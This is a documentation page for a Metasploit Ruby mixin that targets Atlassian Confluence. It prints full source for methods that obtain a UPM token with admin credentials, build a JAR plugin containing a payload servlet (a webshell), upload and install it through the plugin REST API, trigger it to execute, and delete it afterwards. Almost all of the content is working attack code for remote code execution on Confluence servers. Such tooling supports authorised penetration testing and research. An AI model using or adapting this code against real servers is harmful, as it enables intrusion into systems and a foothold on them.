Module: Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin
- Includes:
- Msf::Exploit::Retry
- Defined in:
- lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb
Instance Method Summary collapse
- #delete_payload_plugin(plugin_key, payload_endpoint, admin_username, admin_password) ⇒ Object
- #generate_payload_plugin(plugin_key, payload_endpoint) ⇒ Object
- #get_upm_token(admin_username, admin_password) ⇒ Object
- #trigger_payload_plugin(payload_endpoint) ⇒ Object
- #upload_payload_plugin(webshell_jar, admin_username, admin_password) ⇒ Object
Methods included from Msf::Exploit::Retry
Instance Method Details
permalink #delete_payload_plugin(plugin_key, payload_endpoint, admin_username, admin_password) ⇒ Object
[View source] [View on GitHub]
125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
# File 'lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb', line 125 def delete_payload_plugin(plugin_key, payload_endpoint, admin_username, admin_password) vprint_status('Deleting plugin...') res = send_request_cgi( 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"), 'headers' => { 'Authorization' => basic_auth(admin_username, admin_password), 'Connection' => 'close' } ) unless res&.code == 204 print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}") end end |
permalink #generate_payload_plugin(plugin_key, payload_endpoint) ⇒ Object
[View source] [View on GitHub]
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
# File 'lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb', line 20 def generate_payload_plugin(plugin_key, payload_endpoint) vprint_status('Generating payload plugin') webshell_jar = payload.encoded_jar(random: true) webshell_jar.add_file( 'atlassian-plugin.xml', %( <atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2"> <plugin-info> <description>#{rand_text_alphanumeric(8)}</description> <version>#{rand(1024)}.#{rand(1024)}</version> </plugin-info> <servlet key="#{rand_text_alpha(8)}" class="#{webshell_jar.substitutions['metasploit']}.PayloadServlet"> <url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern> </servlet> </atlassian-plugin>) ) webshell_jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')) return webshell_jar.pack end |
permalink #get_upm_token(admin_username, admin_password) ⇒ Object
[View source] [View on GitHub]
4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
# File 'lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb', line 4 def get_upm_token(admin_username, admin_password) # https://github.com/atlassian-api/atlassian-python-api/blob/master/atlassian/jira.py#L3356-L3361 res = send_request_cgi({ 'method' => 'HEAD', 'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0/'), 'headers' => { 'X-Atlassian-Token' => 'no-check', 'Authorization' => basic_auth(admin_username, admin_password), 'Accept' => '*/*' } }) fail_with(Failure::UnexpectedReply, 'Unable to retrieve the UPM token using the rest API') unless res&.code == 200 && res&.headers&.[]('upm-token') res.headers['upm-token'] end |
permalink #trigger_payload_plugin(payload_endpoint) ⇒ Object
[View source] [View on GitHub]
113 114 115 116 117 118 119 120 121 122 123 |
# File 'lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb', line 113 def trigger_payload_plugin(payload_endpoint) vprint_status('Triggering payload plugin') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint) ) unless res&.code == 200 fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}") end end |
permalink #upload_payload_plugin(webshell_jar, admin_username, admin_password) ⇒ Object
[View source] [View on GitHub]
42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 |
# File 'lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb', line 42 def upload_payload_plugin(webshell_jar, admin_username, admin_password) vprint_status('Uploading payload plugin') post_data = Rex::MIME::Message.new post_data.add_part(webshell_jar, 'application/java-archive', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8..16)}.jar\"") post_data.add_part('', nil, nil, 'form-data; name="url"') data = post_data.to_s res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0/'), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Authorization' => basic_auth(admin_username, admin_password), 'Accept' => '*/*' }, 'vars_get' => { 'token' => get_upm_token(admin_username, admin_password) } }) unless res&.code == 202 fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/') end unless res.body =~ %r{<textarea>(.+)</textarea>} fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/') end begin plugin_json = JSON.parse(::Regexp.last_match(1)) rescue JSON::ParserError fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/') end # We receive a JSON object like this: # <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea> links_alternate = plugin_json&.dig('links', 'alternate') if links_alternate.nil? fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/') end # The plugin is installed asynchronously, so we poll the server for installation to be completed. plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, links_alternate) ) # We receive a JSON result to indicate if the plugin is finished installing. # {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188} if res&.code == 200 begin res_json = JSON.parse(res.body) next res_json['done'] rescue JSON::ParserError next false end end false end unless plugin_ready fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.') end end |